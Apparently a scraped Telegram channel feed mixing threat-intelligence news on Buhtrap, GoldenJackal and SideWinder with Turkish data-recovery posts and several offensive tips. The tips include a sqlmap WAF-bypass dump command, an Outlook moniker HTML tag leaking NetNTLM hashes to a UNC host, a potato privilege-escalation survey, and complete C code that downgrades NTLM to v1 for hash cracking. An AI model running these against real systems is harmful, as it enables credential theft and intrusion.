ForenSec
2.46K subscribers
435 photos
34 videos
533 files
720 links
Download Telegram
FACCT researchers warn of a return after a year of silence from the Russian-speaking cybercriminal syndicate Buhtrap, uncovering new campaigns targeting Russian financial and legal firms.

Buhtrap
is the name of both the malware and the criminal group that originally used it in their attacks.

The first attacks on financial institutions were recorded back in August 2015, and the group itself has been active since at least 2014.

The main vector for penetrating corporate networks at that time were phishing emails on behalf of the Bank of Russia or its representatives.

Later, hacked or fake specialized accounting resources began to be used, where the first stage of malware infection was implemented under the guise of forms or document templates.

The damage from Buhtrap attacks for the period 2020-2022 alone was estimated at almost 2 billion rubles, and the global damage for all years of its activity could reach 6-7 billion rubles.

The last activity was observed in April 2023.

A year later, during the investigation of an incident involving the download of a malicious object onto a client's device, FACCT experts discovered new artifacts of criminal cyber activity: the malicious instance in the archive was attributed as Buhtrap RAT.

After the incident was detected, additional analysis of the executable instance contained in the archive was initiated. The zip archive contains the first stage loader named Document #[0-9].exe.

When the executable file was launched, a second-stage dropper was unpacked, which launched Wordpad.exe with an empty document.

The next stage would only start after the user closed the wordpad window, which is typically used to bypass sandboxes.

Buhtrap RAT
was saved to disk and registered in startup, namely in the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run , the path to RAT: %userprofile%\AppData\Local\%dir_name%\%samplename%.exe. The directory name and RAT name are randomly generated in Latin.

In this campaign, the Buhtrap RAT is an executable .exe file, while in the 2023 campaign it was a .dll file that was unpacked and launched in the memory of the rundll32.exe process.

During the check it was found that the malicious archive was downloaded by the user via a web browser.

It turned out that the user was simply searching for a document template in Yandex, and ended up downloading a malicious archive.

An analysis of the campaign showed that, overall, the new scheme is practically no different from the campaign in March-April 2023.

As before, decoy sites were created, disguised as specialized resources for accountants and lawyers.

In total, three web resources were found that were involved in the current campaign and were in the top lines of search results:
- astrayurist[.]rf (registered 2024-07-26);
- fin-balance[.]rf (registered 2024-07-26);
- financialbalance[.]rf (registered 2024-07-25).

In addition, another resource was discovered – legalresolve[.]rf , which was not used by the attackers within this company, but is associated with the above-mentioned domains.

Indicators of compromise are in the report .
ESET researchers report activity from the GoldenJackal spyware APT, linked to a series of cyber attacks targeting diplomatic and government organizations across Europe , infiltrating isolated systems using specialized malware.

The APT was first discovered by Kaspersky Lab researchers, who uncovered the threat actor in May 2023 after closely monitoring its activity in the Middle East and South Asia.

An important feature of the intrusions is the use of the JackalWorm worm, which is capable of infecting connected USB drives and delivering the JackalControl Trojan.

ESET detected GoldenJackal artifacts in the attack on the South Asian embassy in Belarus in August and September 2019, and again in July 2021.

What is of particular interest is how GoldenJackal managed to deploy a completely updated set of tools from May 2022 to March 2024 in an attack on a government agency in the EU.

Three different malware families were spotted in the South Asian Embassy incident, in addition to JackalControl, JackalSteal, and JackalWorm.

Among them:
- GoldenDealer: used to deliver executable files to an isolated system via hacked USB drives;
- GoldenHowl: a modular backdoor with the ability to steal files, create scheduled tasks and an SSH tunnel, and upload/download files;
- GoldenRobo: A Go file collection and data exfiltration tool that relies on the legitimate Windows robocopy utility.

However, the incident involving an unnamed EU entity involved a completely new set of malicious tools, mostly written in Go.

All of them are designed to distribute malware and steal files via USB drives, exfiltrate data, and create intermediate servers to distribute payloads to other hosts.

Among them:
- GoldenUsbCopy and its improved version GoldenUsbGo: monitor USB drives and copy files to retrieve them;
- ackal, related to used to distribute malware, including a lightweight version of JackalWorm, to other systems via USB;
- GoldenBlacklist and its Python implementation GoldenPyBlacklist: designed to process and steal emails of interest;
- GoldenMailer: sends stolen information to attackers via email;
- GoldenDrive: Uploads stolen information to Google Drive.

It is currently unknown how GoldenJackal manages to implement initial infections to compromise target environments. However , Kaspersky Lab researchers previously suggested the use of trojanized Skype installers and malicious Microsoft Word documents.

In addition, the exact mechanism of GoldenDealer distribution is also unclear. It is activated when a USB drive is connected, causing itself and an unknown component of the worm to be copied to the removable device.

It is assumed that the unknown component is launched when an infected USB is connected to an isolated system, after which GoldenDealer saves information about the machine to the USB drive, from which later, when connected to a host with the Internet, the information flies to an external server, which then responds with the appropriate payloads to launch in the isolated system.

The malware is also responsible for copying the downloaded executable files to the USB drive. In the final step, when the device is reconnected to the isolated machine, GoldenDealer takes the copied executable files and runs them.

In turn, GoldenRobo also runs on an Internet-connected PC and is equipped with functionality for extracting files from a USB drive and transferring them to a controlled server.

According to ESET, a separate module that would be responsible for copying files from an isolated computer to the USB drive itself still needs to be found and studied.

But overall, it can be concluded that GoldenJackal is a fairly sophisticated attacker who is well aware of all the nuances of segmenting the networks of his victims.
Sektörün devamlılığına olan güvenim azaldığında gelip buraya bakıyorum :)
Bypass WAF for use of sqlmap

sqlmap -u "https://target.com" --dbs --level=5 --risk=3 --user-agent -v3 --tamper="between,randomcase,space2comment" --batch --dump
👍1
Offensive monikers.

There is an interesting mechanism inside Windows systems called monikers. Monikers are a separate entity in COM. They allow you to identify a specific COM object (or even fully implement it) as a simple string. Just one string :)

This is convenient, at least because you don't need to know the CLSID (which, by the way, can change). The necessary string is enough.

However, like any other Windows functionality, monikers are actively abused by attackers. I have found three ways of abuse:

1. UAC Bypass. A separate class of monikers is Elevation Moniker. They allow instantiating objects in a process with a higher integrity level, which leads to UAC bypass. These objects are quite easy to find. And there is even a tool MonikerHound for detecting such objects. UAC Bypass Examples using Elevation Moniker can be found here and here . A detailed description can be found in the article on hacker .

2. Session theft. There is a Session Moniker that allows instantiating a COM object inside someone else's session. So, using Session Moniker, we can create an object with the ExecuteInCmd() method in someone else's session, call it and execute code in someone else's session. We published a code example here . And about the internal implementation of Session Moniker (in fact, what IHxExec has under the hood) I wrote here . Finally, in the just published article on hacker we looked at other ways to abuse sessions via COM.

3. NetNTLM hash leak. Not long ago, Outlook had a bug: Moniker Link Bug. Using it, it was possible to leak NetNTLM hashes when adding an HTML tag to a letter:
 <a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>


How did it work? Outlook treated the line \\10.10.111.111\test\test.rtf!something before the ! sign as a file moniker (that is, the COM object is represented in the file), and something as an Item Moniker (this is actually a COM object in some container, inside the cells of an Excel table, for example). At the same time, if the tag simply had \\10.10.111.111\test\test.rtf , then it would be a normal path, not a moniker :)

Accordingly, Outlook started parsing this string, received a moniker and tried to access the path to initialize the File Moniker, which led to a NetNTLM hash leak. You can read more about this bug here .

To be completely honest, Outlook saw the file moniker for the .rtf file and launched a Microsoft Word process in the background, which was already trying to open the file via the UNC path. And it was from this process that the hashes were flying :)
👍2🔥1
Happy Monday potato review everyone!!! :)

Often, the presence of the SeImpersonatePrivilege privilege leads to an increase in privileges to the system. However, I have not seen anywhere sufficiently structured information that would describe not the tools themselves, but the general principle of their operation. It's time to fix it :)

Conceptually, Potatoes can be divided into:
- DCOM-Based - a huge part of the spoofs abuse DCOM. There, in several places, we have authentication, a context is built, and from it we can extract a token. Krb Relay things adhere to approximately the same principle. Except that there we catch a ticket and go somewhere with it, and here we attack a local system. How - you will find out very soon :)) Sorry, the video from UnderConf is late, but I am already actively engaged in distilling the material into a text format on Habr, with the addition of all sorts of tricks and gimmicks :) This includes JuicyPotatoNG , RottenPotato , LonelyPotato , JuicyPotato , RemotePotato , SweetPotato , GodPotato , RoguePotato , LocalPotato
- By stealing a token. But this is a rarer chain, if we also have SeDebugPrivilege, then we can steal a token from any other process and attach it to our payload via CreateProcessWithTokenW() . POC
- Capture WPAD authentication with NTLM Reflection attack. The method was patched in MS16-075. However, POC HotPotato exists.
- LSA cache abuse. To prevent NTLM Reflection attacks, Microsoft came up with the idea of ​​introducing a list of resources that was stored inside LSA. The whole point was that LSASS began to store a list of all recently issued NTLM Challenges with the corresponding service in the cache in order to detect NTLM Reflection attempts. In fact, by comparing the challenge and the service on which authentication occurs, it was possible to determine the attack. The problem was that the cache had a fairly short lifetime (300 seconds), after which it was cleared. The hacker could only wait for this time, then pull LSA and escalate. The POC is called GhostPotato . The method has also already been patched.
- Abuse of impersonation functions. OSEP shared with us the PrintSpoofer spoof. For those who forgot, this is a variant of exploiting SeDebug by calling a printer function that accepts a specific endpoint — a named channel (pipe). The hacker would set up his own pipe, trigger the system with the function, and the system would come to the pipe. The hacker could only call ImpersonateNamedPipeClient() to capture the account. Few people know, but there are other vulnerable services! DiagTrack — DiagTrackEop , RasMan service — RasmanPotato , AzureAttestService — magicAzureAttestService . But pipes are not the only ones. COM also has an impersonation function, called CoImpersonateClient() , it was abused in DCOMPotato .

Finally, there is a more general option that only raises HTTP and SMB services. How to force the system to enter them is up to you. In the case of HTTP, a 401 request will be returned with authentication hijacking, in the case of SMB, impersonation. Such a potato is called GenericPotato
Seagate has officially announced the start of commercial deliveries of HAMR models (32TB, apparently) - for now as part of the CORVAULT storage system.

In the form of individual samples, they allegedly actively distribute such disks for testing and validation to key consumers (data centers, cloud providers, and the like).

Cool. Really cool.
I especially hope that they super-thoroughly rechecked all the servo code and everything that was needed from the old eternal bugs - fixed and brought to mind.
Otherwise, one day the HAMR disk will simply turn into a "death star", only in an internal version - and will incinerate everything there, including its own heads :)

They showed the first working prototype publicly in 2012 in the form of a 2.5" SAS,
Only 11 years have passed 😅 and the technology (in their words) has been perfected, and "everything is really cool now, yo."
Let everything be fine. Because from the latest reports, Seagate has some pretty big losses...

30TB+ in the coming years right on the market is a serious new round of evolution.

https://www.anandtech.com/show/18984/seagate-ships-first-commercial-hamr-hard-drives
Just recently Misha posted the LeakedWallpaper tool, and I have already managed to use it on the project. Everything worked great! But why do we need a NetNTLMv2 hash? Let's think about how to improve the technique if the computer has an angry EDR, but there are local admin rights. With local admin rights, you can downgrade NTLM authentication to NetNTLMv1 using registry key manipulation and get a hash that can be restored to an NTLM hash regardless of the complexity of the user's password. For this purpose, I wrote a small program that backs up the current registry settings, then downgrades and restores everything back after 60 seconds.
 #include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // for sleep function

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Error reading registry key.\n");
}
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Error writing registry key.\n");
}
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;

ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

// Delay 60 seconds
sleep(60);

NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

return 0;
}

Let's compile it like this
 x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c

As a result, I managed to get the NetNTLMv1 hash of the unbrute-proof password of the privileged account and restore the NTLM hash within 10 hours. Profit!
Or for the really lazy, we added the -downgrade flag directly to the LeakedWallpaper tool :)
PS Don't forget to add privileged accounts to Protected Users.
log.rtf
31.2 KB
Sunucuyu ayağa kaldırsaydık bari.
TRIM Nedir ve Neden Veri Kurtarmayı Zorlaştırır?

TRIM, SSD'lerin performansını artırmak için kullanılan bir özelliktir. İşletim sistemi, bir dosyayı sildiğinizde SSD'ye bu bloğun artık kullanılmadığını bildirir ve SSD de bu bloğu temizleyerek yeni verilere hazır hale getirir. Bu sayede SSD daha hızlı çalışır ancak silinen verilerin geri kazanılması zorlaşır.

Verilerin Üzerine Yazılması: TRIM sayesinde boşaltılan bloklara hemen yeni veriler yazılır. Bu da eski verilerin üzerine yeni verilerin yazılmasına ve kalıcı olarak silinmesine neden olur.

Veri kurtarma işleminin başarısı, desteklenen tüm marka ve modellerde veri kaybının nedenine, SSD'nin modeline, TRIM komutunun ne sıklıkla çalıştığına ve diğer birçok faktöre bağlıdır.

Özellikle SSD disklerden veri kurtarma işlemi, uzmanlık gerektiren bir işlemdir. Yanlış müdahaleler, verilerin tamamen kaybolmasına neden olabilir.

Veri kurtarma işlemi, karmaşık ve riskli bir süreçtir. Bu nedenle, önemli verilerinizi düzenli olarak yedeklemeniz, olası veri kayıplarına karşı en iyi önlemdir

Bu konuda başka sorularınız varsa çekinmeden sorabilirsiniz.
🔥6👍1
3 adet donör disk harcanarak kurtarıldı 🔥
👏8❤2👍2🔥2
The hacker USDoD (aka EquationCorp), who delighted the cyber underground with serious incidents such as the multi-million dollar leak of National Public Data and the hacking of the FBI's InfraGard information exchange portal, has ended his life ; he was arrested in Brazil.

The news, of course, is not news, because we have previously reported that the desire for self-promotion and vanity, combined with leaky OpSec, led researchers to the hacker's trail.

Finding it physically, as you can see, was not particularly difficult.

USDoD finally managed to dig into CrowdStrike and leaked their IOC lists online, which was a fatal event, after which Brazilian publishing house Techmundo received an anonymous report from researchers with data on the identity of the attacker.

However, oddly enough, USDoD confirmed CrowdStrike's information in an interview with HackRead and said that he actually lives in Brazil.

Probably using this information, the Brazilian Federal Police (PF) captured the hacker and reported his arrest in Belo Horizonte.

The official reason for the arrest and search at the place of residence was the incidents of May 22, 2020 and February 22, 2022, when USDoD leaked data from local police officers.

In response, the security forces initiated Operation Data Breach, so now USDoD faces up to 7 years in prison, but for some reason it seems that he will not go to jail, perhaps only on paper.

But we'll see.
❤2👍1
Researchers from Kaspersky Lab report a previously undocumented arsenal of APT SideWinder that is used by the group during the post-exploitation phase.

SideWinder (aka T-APT-04 or RattleSnake)
continues to be one of the most active APT groups, having started operating in 2012 and was first publicly mentioned by LK back in 2018 .

Over the years, the group has carried out attacks on high-profile organizations in South and Southeast Asia. Its primary targets have been military and government organizations in Pakistan, Sri Lanka, China, and Nepal.

Over the years, SideWinder has carried out an impressive number of attacks, and its activities have been detailed in various security reports (e.g. here , here , and here ), with one of the most recent being released in July 2024.

The group is generally considered a low-skilled actor due to its use of public exploits, malicious LNK files and scripts as infection vectors, and use of public RATs, but a thorough analysis has shown that the APT's actual capabilities are impressive.

Yet despite years of observation and research, the post-hack activity phase remains poorly understood.

During the investigation, LK was able to uncover new campaigns that demonstrate a significant expansion of the group's activities.

SideWinder
has targeted organizations in several countries: Bangladesh, Djibouti, Jordan, Malaysia, Maldives, Myanmar, Nepal, Pakistan, Saudi Arabia, Sri Lanka, Turkey, and the United Arab Emirates.

Target sectors include government and military organizations, logistics, infrastructure and telecommunications companies, financial institutions, universities and oil trading companies.

In addition, SideWinder also targeted diplomatic missions in the following countries: Afghanistan, France, China, India, Indonesia and Morocco.

Additionally, the researchers discovered and studied a previously unknown post-exploitation toolkit called StealerBot, an advanced modular implant designed specifically for cyber espionage.

The LC believes that StealerBot is currently one of the main tools at the post-exploitation stage used by APT on targets of interest.

A detailed technical analysis of the SideWinder APT attack chain and arsenal with indicators of compromise is available in the report .
What types of content would you like to be shared the most?
Anonymous Poll
28%
Cybersecurity news
33%
Data recovery, forensics, etc.
15%
Training sets
24%
Mixed
ForenSec pinned «What types of content would you like to be shared the most?
»
Arayan, soran, mesaj atan, baş sağlığı dileyen herkese teşekkürler.
Göz yaşarır, kalp hüzünlenir. Biz ancak Rabbimiz’in razı olacağı sözleri söyleriz.
O’ndan geldik ve yine O’na döndürüleceğiz.
Bundan sonra yapabileceklerimiz bu dünyadan göç eden annemizi dualarla, hayırlarla anmak ve geride kalanlar için sabrı kuşanmaktır. Onun adına hayır işler yapmak, ihtiyaç sahiplerine yardım etmek ve onun ruhuna ithaf edilen iyiliklerde bulunmak, en güzel teselli olacaktır. Allah hepimize sabır versin, rahmet eylesin ve sevdiklerimizle cennette kavuşmayı nasip etsin.
❤54👍7👏3🔥1
Caller ID spoofing, internet tabanlı teknolojilerin gelişmesiyle daha kolay erişilebilir hale gelen ve özellikle dolandırıcılık, kimlik hırsızlığı gibi yasa dışı faaliyetlerde kullanılan bir yöntemdir. Bu yazıda, caller ID spoofing’in ne olduğunu, teknik detaylarını ve bu tür sahte aramalara karşı nasıl koruma sağlayabileceğimizi detaylı bir şekilde ele alıyoruz.

https://drdisklab.com/caller-id-spoofing-nedir/
👏9👍4